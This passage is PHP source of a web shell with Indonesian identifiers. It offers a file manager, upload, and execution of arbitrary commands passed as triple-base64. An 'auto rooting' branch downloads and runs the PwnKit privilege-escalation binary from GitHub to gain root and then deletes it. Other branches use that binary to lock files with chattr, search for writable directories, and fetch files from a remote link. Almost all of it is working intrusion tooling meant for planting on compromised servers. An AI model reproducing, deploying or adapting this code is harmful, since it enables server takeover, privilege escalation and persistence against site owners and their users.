$tod = @posix_getpwuid(fileowner($file));
return "<center>".$tod['name']."</center>";
} else {
return "<center>".fileowner($file)."</center>";
}
}

function cekwrite($lokasi) {
$izin = substr(sprintf('%o', fileperms($lokasi)), -4);
if (is_writable($lokasi)) {
return "<font color=green>".$izin."</font>";
} else {
return "<font color=red>".$izin."</font>";
}
}

function ekse($komend, $lokasi) {
if (!function_exists("proc_open")) {
die("proc_open function disabled !");
} elseif (!function_exists("base64_decode")) {
die("base64_decode function disabled !");
}
$komen = base64_decode(base64_decode(base64_decode($komend)));
$tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
echo "<textarea rows='25' cols='100'>".htmlspecialchars(stream_get_contents($pipes[1]))."</textarea><br><br>";
}

function ipserv() {
if (empty($_SERVER['SERVER_ADDR'])) {
return gethostbyname($_SERVER['SERVER_NAME']);
if (empty(gethostbyname($_SERVER['SERVER_NAME']))) {
return $_SERVER['SERVER_NAME'];
}
} else {
return $_SERVER['SERVER_ADDR'];
}
}

function cekfile($file) {
return '<i class="fa fa-file" style="color: #d6d4ce"></i> ';
}

function filedate($file) {
return date("F d Y g:i:s", filemtime($file));
}

function unzip($file, $lokasi) {
if (!is_readable($file)) {
red("Cannot Unzip File / Unreadable File !");
die();
} elseif (strpos(file_get_contents($file), "\x50\x4b\x03\x04") === false) {
red("This isn't Zip File !");
die();
}
$zip = new ZipArchive;
$res = $zip -> open($file);
if ($res == true) {
$zip -> extractTo($lokasi);
$zip -> close();
green("Success Unzip File !");
} else {
red("Failed to Unzip File !");
}
}

function green($text) {
echo "<center><font color='green'>".$text."</center></font>";
}

function red($text) {
echo "<center><font color='red'>".$text."</center></font>";
}

echo "Server IP : <font color=gold>".ipserv()."</font> &nbsp;/&nbsp; Your IP : <font color=gold>".$_SERVER['REMOTE_ADDR']."</font><br>";
echo "Web Server : <font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
echo "System : <font color='gold'>".php_uname()."</font><br>";
echo "User : <font color='gold'>".@get_current_user()."&nbsp;</font>( <font color='gold'>".@getmyuid()."</font>)<br>";
echo "PHP Version : <font color='gold'>".@phpversion()."</font><br>";
echo "Disable Function : ".$disf."</font><br>";
echo "MySQL : ";
if (function_exists("mysql_connect")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; cURL : ";
if (function_exists("curl_init")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; WGET : ";
if (file_exists("/usr/bin/wget")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Perl : ";
if (file_exists("/usr/bin/perl")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Python : ";
if (file_exists("/usr/bin/python2")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}

foreach($_POST as $key => $value){
$_POST[$key] = stripslashes($value);
}

if(isset($_GET['path'])){
$lokasi = $_GET['path'];
$lokdua = $_GET['path'];
} else {
$lokasi = getcwd();
$lokdua = getcwd();
}

$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);

echo "<br>Directory (".cekwrite($lokasi).") : &nbsp;";

foreach($lokasis as $id => $lok){
if($lok == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($lok == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$lokasis[$i]";
if($i != $id) echo "/";
} 
echo '">'.$lok.'</a>/';
}

echo '</td></tr><tr><td>';
    if (isset($_POST['upwkwk'])) {
    if ($_POST['dirnya'] == "2") {
    $lokasi = $_SERVER['DOCUMENT_ROOT'];
}
if (isset($_POST['berkasnya'])) {
$data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font><br><br>";
} else {
echo "<font color='red'>Failed to Upload !<br><br>";
}
} elseif (isset($_POST['linknya'])) {
if (empty($_POST['namalink'])) {
exit("Filename cannot be empty !");
}
if ($_POST['dirnya'] == "2") {
$lokasi = $_SERVER['DOCUMENT_ROOT'];
}
$data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
if (file_exists($lokasi."/".$_POST['namalink'])) {
echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font><br><br>";
} else {
echo "<font coloe='red'>Failed to Upload !<br><br>";
}
} elseif (isset($_POST['bepas'])) {
$bepasdata = $_POST['bepasdata'];
$bepasnama = $_POST['bepasnama'];
if ($bepasdata) {
echo "string";
}
@file_put_contents($lokasi."/".$bepasnama, $bepasdata);
if (file_exists($lokasi."/".$bepasnama)) {
echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$bepasnama."</i></font><br><br>";
} else {
echo "<font coloe='red'>Failed to Upload !<br><br>";
}
}
}

echo "</table><br>";
echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">';
    echo '<th>[ &nbsp;<a href="'.$_SERVER['SCRIPT_NAME'].'">Home</a>&nbsp; ]</th>';
    echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&komend=gaskan">C0mmand</a>&nbsp; ]</th>';
    echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&upload=gaskan">Upload File</a>&nbsp; ]</th>';
    echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&root=gaskan">r00t</a>&nbsp; ]</th>';
echo "</table><br>";
echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">';
    echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&protected=gaskan">Protected Files/folder (only root)</a>&nbsp; ]</th>';
    echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&unprotected=gaskan">unProtected Files/folder (only root)</a>&nbsp; ]</th>';
    echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&write=gaskan">Find Directory Writable</a>&nbsp; ]</th>';
    echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&root=gaskan">r00t</a>&nbsp; ]</th>';
echo "</table><br>";
if (isset($_GET['fileloc'])) {
echo "<tr><td>Current File : ".$_GET['fileloc'];
echo '</tr></td></table><br/>';
echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
if (is_dir($_POST['path'])) {
xrmdir($_POST['path']);
if (file_exists($_POST['path'])) {
red("Failed to delete Directory !");
} else {
green("Delete Directory Success !");
}
} elseif (is_file($_POST['path'])) {
@unlink($_POST['path']);
if (file_exists($_POST['path'])) {
red("Failed to Delete File !");
} else {
green("Delete File <i>".basename($_POST['path'])."</i> Success !");
}
}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
if (isset($_POST['gantin'])) {
$ren = @rename($_POST['path'], $_POST['newname']);
if ($ren == true) {
green("Change Name Success !");
} else {
red("Change Name Failed !");
}
}
if (empty($_POST['name'])) {
$namaawal = $_POST['newname'];
} else {
$namawal = $_POST['name'];
}
echo "<center>".$_POST['path']."<br>";
    echo '<form method="post">
        New Name : <input name="newname" type="text" class="up" size="20" value="'.$namaawal.'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="pilih" value="gantinama">
        <input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
    </form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
if (isset($_POST['gasedit'])) {
$edit = @file_put_contents($_POST['path'], $_POST['src']);
if ($edit == true) {
green("Edit File Success !");
} else {
red("Edit File Failed !");
}
}
echo "<center>".$_POST['path']."<br><br>";
    echo '<form method="post">
        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br>
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="pilih" value="edit">
        <input type="submit" value="Edit File" name="gasedit" />
    </form><br>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "dunlut") {
dunlut($_POST['path']);
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "unzip") {
unzip($_POST['path'], $lokasi);
} elseif ($_REQUEST['upload'] == "gaskan") {
echo "<center>Upload File : ";
    echo '<form enctype="multipart/form-data" method="post">
        <input type="radio" value="1" name="dirnya" checked>current_dir [ '.cekdir().' ]
        <input type="radio" value="2" name="dirnya" >document_root [ '.cekroot().' ]
        <br>
        <input type="hidden" name="upwkwk" value="aplod">
        <input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br><br>
        Upload File From Link :<br>
        <input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
        <br><br>403 Upload File<br>
        <input type="file" id="datanya" onchange="setfilename(this.value); loadFile(this.files[0])"/>
        <input type="hidden" name="bepasnama" id="namanya">
        <textarea style="display: none" id="bepasdata" name="bepasdata"></textarea>
        <input type="submit" name="bepas" value="Upload" class="up" style="cursor: pointer; border-color: #fff">
    </form><br><br></center>';
} elseif ($_GET['root'] == "gaskan"){
    echo "<center>
    <textarea rows='25' cols='100'>";
    exe('curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o cakilroot;chmod +x cakilroot');
    echo '[*] Auto Rooting Server By MrcakilB0t';
    echo "&#13;&#10;";
    echo "[+] Checking Root";
    echo "&#13;&#10;";
    $cekroot = exe("./cakilroot 'id'");
        if($cekroot == ""){
            echo '[+] Failed Rooted!';
            exe('rm -rf cakilroot');
        }else{
            echo '[+] SuccessFull Rooted : '.exe("./cakilroot id").' ';
            exe('rm -rf cakilroot');
        }
    echo "</textarea></center><br><br>";

} elseif ($_GET['protected'] == "gaskan"){
    echo "<center>";
    echo "Your Files/Folder";
    echo '<form method="post" onsubmit="document.getElementById(\'komendnya\').value = btoa(btoa(btoa(document.getElementById(\'komendnya\').value)))">
         <input type="text" name="protectnya" id="komendnya" style="background-color: #1f1f1f; color: #fff">
        <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">
    </form><br>';
    if (isset($_POST['eksekomend'])) {
     $kon = $_GET['protectnya'];
     exe('curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o cakilroot;chmod +x cakilroot');
     exe("./cakilroot 'sudo chattr +i $kon'");
     echo "[+] Done Protected";
     exe('rm -rf cakilroot');
     echo "</textarea></center><br><br>";
    }
 echo "</center>";

} elseif ($_GET['write'] == "gaskan"){
    echo "<center>";
    echo "Your Files/Folder";
    echo '<form method="post" onsubmit="document.getElementById(\'komendnya\').value = btoa(btoa(btoa(document.getElementById(\'komendnya\').value)))">
         <input type="text" name="writenya" style="background-color: #1f1f1f; color: #fff">
        <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">
    </form><br>';
    if (isset($_POST['eksekomend'])) {
        $asu = "find ".$_POST['writenya']." -writable";
        $komen = base64_decode(base64_decode(base64_decode($asu)));
        $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
        echo "<textarea rows='25' cols='100'>".htmlspecialchars(stream_get_contents($pipes[1]))."</textarea><br><br>";
    }
 echo "</center>";

} elseif ($_GET['unprotected'] == "gaskan"){
    echo "<center>";
    echo "Your Files/Folder";
    echo '<form method="post" onsubmit="document.getElementById(\'komendnya\').value = btoa(btoa(btoa(document.getElementById(\'komendnya\').value)))">
         <input type="text" name="unprotectnya" id="komendnya" style="background-color: #1f1f1f; color: #fff">
        <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">
    </form><br>';
    if (isset($_POST['eksekomend'])) {
     $kon = $_GET['unprotectnya'];
     exe('curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o cakilroot;chmod +x cakilroot');
     exe("ls");
     echo "[+] Done unProtected";
     exe('rm -rf cakilroot');
     echo "</textarea></center><br><br>";
    }
 echo "</center>";

} elseif ($_GET['komend'] == "gaskan") {
echo "<center>";
    echo '<form method="post" onsubmit="document.getElementById(\'komendnya\').value = btoa(btoa(btoa(document.getElementById(\'komendnya\').value)))">
        '.@get_current_user().'@'.ipserv().':~ $ <input type="text" name="komend" id="komendnya" style="background-color: #1f1f1f; color: #fff">
        <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">
    </form><br>';
    if (isset($_POST['eksekomend'])) {
    ekse($_POST['komend'], $lokasi);
}
echo "</center>";
} 

if (!is_readable($lokasi)) {
die("<center>This directory is unreadable :(</center>");
}

echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr class="first">
        <td><center>Name</center></td>
        <td><center>Size</center></td>
        <td><center>Last Modified</center></td>
        <td><center>Owner</center></td>
        <td><center>Permissions</center></td>
        <td><center>Options</center></td>
    </tr>';

    foreach($lokasinya as $dir){
    if(!is_dir($lokasi."/".$dir) || $dir == '.') continue;
    echo "<tr>
        <td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a></td>
        <td><center>--</center></td>
        <td><center>".filedate($lokasi."/".$dir)."</center></td>
        <td>".owner($lokasi."/".$dir)."</td>
        <td><center>";
            if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
                elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
                    echo statusnya($lokasi."/".$dir);
                if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';

            echo "</center></td>
            <td><center><form method=\"POST\" action=\"?pilihan&path=$lokasi\">
                <select name=\"pilih\">
                    <option value=\"\"></option>
                    <option value=\"hapus\">Delete</option>
                    <option value=\"gantinama\">Rename</option>
                </select>
                <input type=\"hidden\" name=\"type\" value=\"dir\">
                <input type=\"hidden\" name=\"name\" value=\"$dir\">
                <input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
                <input type=\"submit\" class=\"gas\" value=\">\" />
            </form></center></td>
        </tr>";
    }

    echo '<tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr>';
    foreach($lokasinya as $file) {
    if(!is_file("$lokasi/$file")) continue;
    $size = filesize("$lokasi/$file")/1024;
    $size = round($size,3);
    if($size >= 1024){
    $size = round($size/1024,2).' MB';
} else {
$size = $size.' KB';
}

echo "<tr>
    <td>".cekfile($lokasi."/".$file)."<a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a></td>
    <td><center>".$size."</center></td>
    <td><center>".filedate($lokasi."/".$file)."</center></td>
    <td>".owner($lokasi."/".$file)."</td>
    <td><center>";
        if(is_writable("$lokasi/$file")) echo '<font color="green">';
            elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
                echo statusnya("$lokasi/$file");
            if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
        echo "</center></td><td><center>
            <form method=\"post\" action=\"?pilihan&path=$lokasi\">
                <select name=\"pilih\">
                    <option value=\"\"></option>
                    <option value=\"hapus\">Delete</option>
                    <option value=\"dunlut\">Download</option>
                    <option value=\"gantinama\">Rename</option>
                    <option value=\"edit\">Edit</option>";
                    if (class_exists("ZipArchive")) {
                    echo "<option value=\"unzip\">Unzip</option>";
                }
            echo "</select>
            <input type=\"hidden\" name=\"type\" value=\"file\">
            <input type=\"hidden\" name=\"name\" value=\"$file\">
            <input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
            <input type=\"submit\" class=\"gas\" value=\">\" />
        </form></center></td>
    </tr>";
}
echo '</tr></td></table></table>';
author();

function statusnya($file){
$izin = substr(sprintf('%o', fileperms($file)), -4);
return $izin;
}
?>